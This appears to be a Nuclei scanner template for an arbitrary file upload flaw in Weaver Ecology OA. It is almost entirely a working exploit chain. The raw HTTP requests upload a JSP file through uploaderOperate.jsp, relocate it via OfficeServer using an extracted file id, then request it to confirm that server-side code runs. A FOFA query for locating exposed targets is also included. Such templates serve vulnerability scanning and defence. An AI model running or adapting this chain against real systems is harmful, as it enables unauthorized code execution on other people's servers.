id: weaver-uploadoperation-file-upload info: name: Weaver OA Workrelate - Arbitary File Upload author: SleepingBag945 severity: critical description: | Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/weaver-oa-workrelate-file-upload.yaml metadata: max-request: 3 fofa-query: app="泛微-协同办公OA" tags: ecology,fileupload,intrusive variables: filename: "{{to_lower(rand_base(5))}}" string: "{{randstr}}" http: - raw: - | POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj Accept-Encoding: gzip ------WebKitFormBoundaryVdb2RRl25PuaGhWj Content-Disposition: form-data; name="secId" 1 ------WebKitFormBoundaryVdb2RRl25PuaGhWj Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.jsp" <%out.println("{{string}}");%> ------WebKitFormBoundaryVdb2RRl25PuaGhWj Content-Disposition: form-data; name="plandetailid" 1 ------WebKitFormBoundaryVdb2RRl25PuaGhWj-- - | POST /OfficeServer HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj Accept-Encoding: gzip ------WebKitFormBoundaryVdb2RRl25PuaGhWj Content-Disposition: form-data; name="aaa" {"OPTION":"INSERTIMAGE","isInsertImageNew":"1","imagefileid4pic":"{{fileid}}"} ------WebKitFormBoundaryVdb2RRl25PuaGhWj-- - | GET /{{filename}}.jsp HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: fileid internal: true group: 1 regex: - "&fileid=(.*?)\\'>" matchers-condition: and matchers: - type: dsl dsl: - "status_code_1 == 200 && contains(body_1,'workrelate/plan/util/ViewDoc')" - "status_code_2 == 200 && contains(body_2, 'println')" - "status_code_3 == 200 && contains(body_3,'{{string}}')" condition: and # digest: 4a0a00473045022100842d0c47c12fe663e3da34832c889d568c8fffb3740648bbccc968954dd1c6e40220140f9f9b1d82e205c7bbcb715d2bfb99c4513d6cc842990a9618fd21e4c97721:922c64590222798bb761d5b6d8e72950